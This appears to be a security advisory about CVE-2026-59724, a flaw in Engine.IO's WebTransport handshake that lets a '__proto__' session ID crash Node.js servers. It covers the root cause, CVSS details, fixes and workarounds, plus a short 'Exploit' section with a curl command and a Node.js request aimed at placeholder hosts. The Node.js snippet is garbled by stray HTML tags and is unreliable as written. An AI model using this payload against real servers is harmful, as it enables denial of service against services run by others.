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How CVE-2026-59724 Works
This vulnerability resides in the WebTransport upgrade handling within Engine.IO, the realtime transport layer powering Socket.IO. Engine.IO provides the foundational bidirectional connection between client and server, supporting HTTP long-polling, WebSockets, and WebTransport as transport mechanisms. The flaw specifically affects Engine.IO servers that have WebTransport enabled, a feature that is opt-in and not enabled by default.
The root cause is improper input validation during the WebTransport upgrade handshake. When a client initiates a WebTransport connection, it provides a session ID (SID) as part of the upgrade request payload. In affected versions (6.5.0 through 6.6.6), the server does not adequately validate this SID before using it to perform a property lookup on the internal `clients` object.
An attacker can craft a WebTransport upgrade request with a session ID set to __proto__. In JavaScript, `__proto__` is a magical property that allows access to an object’s prototype chain. When the server attempts to resolve this crafted SID against the `clients` object, it inadvertently traverses the prototype chain instead of treating it as an invalid session identifier. This leads to the server encountering a property that is not a valid client session, triggering a `TypeError` during the WebTransport handshake processing. In many Node.js configurations, this uncaught exception manifests as an unhandled Promise rejection, which can cause the entire Node.js process to terminate. The result is a complete denial of service, as the server process crashes and becomes unavailable to handle any further requests, legitimate or otherwise.
The vulnerability is triggered by an unauthenticated, specially crafted HTTP request, making it remotely exploitable without any privileges. Because the attack kills the Node.js process, repeated exploitation can lead to a persistent service outage. Deployments that only use the default polling and WebSocket transports are not affected, as the vulnerable code path is only reached when WebTransport is enabled.
DailyCVE Form
Platform: Socket.IO / Engine.IO
Version: 6.5.0 to 6.6.6
Vulnerability: Prototype Pollution DoS
Severity: High (CVSS 7.5)
Date: July 8, 2026
Prediction: July 15, 2026
What Undercode Say: Analytics
- Vulnerability Type: Prototype Pollution (CWE-1321), Improper Input Validation (CWE-20)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: High availability impact, no confidentiality or integrity impact
- CVSS Base Score: 7.5 (High)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- EPSS Probability: 0.34% (26th percentile)
- Exploitability Subscore: 3.9
- Impact Subscore: 3.6
- Affected Component: `packages/engine.io/lib/server.ts`
– Fix Commit: `1fa1f46cd420ac5b57bb4c04c959b58f3c79158c`
Exploit
The exploit leverages a crafted WebTransport upgrade request with a `__proto__` session ID. A proof-of-concept (PoC) can be constructed as follows:
Example using curl to send a malicious WebTransport upgrade request Note: Actual WebTransport upgrade uses HTTP/3 and specific headers. This is a conceptual representation of the attack vector. curl -X GET "https://target-engineio-server.com/engine.io/?EIO=4&transport=webtransport&sid=__proto__" \ -H "Connection: Upgrade" \ -H "Upgrade: webtransport"
A more detailed technical representation:
// Conceptual exploit snippet
const http = require('http');
const options = {
hostname: 'target-server.com',
port: 443,
path: '/engine.io/?EIO=4&transport=webtransport&sid=<strong>proto</strong>',
method: 'GET',
headers: {
'Connection': 'Upgrade',
'Upgrade': 'webtransport'
}
};
const req = http.request(options, (res) => {
console.log(<code>Status: ${res.statusCode}</code>);
});
req.on('error', (e) => {
console.error(<code>Problem with request: ${e.message}</code>);
});
req.end();
Exploitability Details:
- Authentication Required: No, the attack is unauthenticated
- Network Access: Remote, over the network
- Preconditions: WebTransport must be explicitly enabled on the Engine.IO server
- Result: Unhandled exception, Node.js process termination, and denial of service
- Repeatability: The attack can be repeated to cause persistent outages
Protection
1. Immediate Upgrade (Recommended):
- Upgrade the `engine.io` package to version 6.6.7 or higher
- This version contains the fix that properly validates session IDs and prevents prototype chain traversal
2. Disable WebTransport (Workaround):
- If immediate upgrade is not possible, disable WebTransport support entirely
- Configure Engine.IO to only use safe transports:
const io = require('socket.io')(server, { transports: ['polling', 'websocket'] // WebTransport removed }); - This prevents the vulnerable code path from being reached
3. Network-Level Mitigation:
- Restrict access to WebTransport endpoints at the reverse proxy or HTTP/3 layer
- Block or filter requests with suspicious session ID patterns (e.g., containing
__proto__,constructor,prototype)
4. Process Supervision:
- Run the Node.js service under a process supervisor (e.g., PM2, systemd) to automatically restart crashed processes
- This provides partial availability mitigation but does not prevent the attack itself
Impact
- Denial of Service: Successful exploitation crashes the Node.js process, making the service unavailable
- Remote, Unauthenticated: The attack can be launched remotely without any credentials
- No Data Breach: The vulnerability only affects availability; confidentiality and integrity are not compromised
- Affected Deployments: Only deployments that have explicitly enabled WebTransport support are vulnerable
- Default Configurations Safe: Default Socket.IO/Engine.IO setups using polling and WebSocket transports are not affected
- Widespread Use: Socket.IO is used across numerous platforms for real-time communication, making this a significant vulnerability for affected deployments
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Sources:
Reported By: nvd.nist.gov
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